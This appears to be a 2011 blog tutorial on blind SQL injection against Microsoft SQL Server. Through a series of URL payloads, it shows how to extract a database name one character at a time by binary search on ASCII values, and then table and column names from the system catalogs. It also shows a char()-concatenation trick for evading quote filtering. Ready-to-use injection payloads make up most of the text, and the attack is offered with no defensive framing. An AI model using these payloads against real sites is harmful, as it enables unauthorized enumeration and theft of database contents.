Friday, April 8, 2011

MSSQL Blind Injection

By using blind technique, you have to spend more time than normal injection.
You can obtain only one character while you send several queries to server.
We will give you an example of querying the first character of database name.
We assume that database name is member. Therefore, the first character is "m"
which the ascii value is 109. (At this point, we assume that you know ascii code)

Ok, first, we have to know that the results from requests have only 2 forms.


1. Valid query result likes http://www.example.com/page.asp?id=1 and 1=1
2. Invalid query result likes http://www.example.com/page.asp?id=1 and 1=2


The following steps are up to each person. You idea may be different from our idea in order to pick ascii code to test query.

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90

In this situation, the result will be valid query result like http://www.example.com/page.asp?id=1 and 1=1
(because the first character of database name is "m" which ascii code is 109). Then, we try

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>120

It is surely that the result will like http://www.example.com/page.asp?id=1 and 1=2 (because 109 absolutely less than 120).
next, we try

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>105

The result is a valid query result and at this point, the ascii value of first character of database name is between 105 and 120.
So, we try

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>112 ===> invalid query result
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>108 ===> valid query result
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>110 ===> invalid query result
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>109 ===> invalid query result

You see that the first character of database name has an ascii value which is greater than 108
but is not greater than 109. Thus, we can conclude that the ascii value is equal to 109.
You can prove with:

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)=109
.


We sure that the result is like the result of http://www.target.com/page.php?id=1 and 1=1 .

The rest which you have to do is to manipulate some queries to collect your preferred information.
In this tutorial, we propose some example queries in order to find the names of tables and columns in the database.


++++++++++++++++++++++++++++++++++++++++++++
[0x01a] - Exploit query for get Table name
++++++++++++++++++++++++++++++++++++++++++++

In order to get table name, we can use above method to obtain each character of table name.
The only thing that we have to do is to change query to retrieve table name of current database.
As MSSQL does not have limit command. Therefore, the query is a bit complicate.

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
AS varchar(8000)),1,1)),0)>97

The above query is used to determine the first character of first table in current database. If we want to find second character of first table,
we can do by following request:

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
AS varchar(8000)),2,1)),0)>97

We change the second parameter of substring function from 1 to 2 in order to specify preferred position of character in table name.
Thus, if we want to determine other positions, we require only changing second parameter of substring function.

In case of other tables, we can find other table names by changing the second select
from "SELECT TOP 1" to be "SELECT TOP 2" , "SELECT TOP 3" and so on. for example,

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 2 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
AS varchar(8000)),1,1)),0)=97

The above request will determine the first character of the second table name in current database.



+++++++++++++++++++++++++++++++++++++++++++++
[0x01b] - Exploit query for get Column name
+++++++++++++++++++++++++++++++++++++++++++++

After we obtain table names, the next target information is absolutely column names.

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM
syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar(8000)),1,1)),0)>97

In order to circumvent from magic quote filtering, you have to change 'tablename'
to be the form of concatenating char() command. for example, if table name is 'user',
when we put 'user' in the query, ' may be filtered and our query will be wrong.
The solution is convert 'user' to be char(117)+char(115)+char(101)+char(114).
So, the query in where cluase changes from "Where name='user'" to "Where name=char(117)+char(115)+char(101)+char(114)".
In this case, we can circumvent magic quote filtering. The result from the above request is the first character of the first column name of specific table.
When we want to find the second character of the first column, we can use the same method as getting table name, by changing the second parameter of
substring function.


http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM
syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar(8000)),2,1)),0)>97

The above request is used to determine the second character of the first column name in specific table.
In case of determining other columns, we can do by changing p.x value from 1 to 2,3,4 and so on. such as,

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM
syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=2))AS varchar(8000)),1,1)),0)>97

The first character of the second column name in specific table can be determined by the above request.

Filed Under :

0 comments for "MSSQL Blind Injection"

Post a Comment

background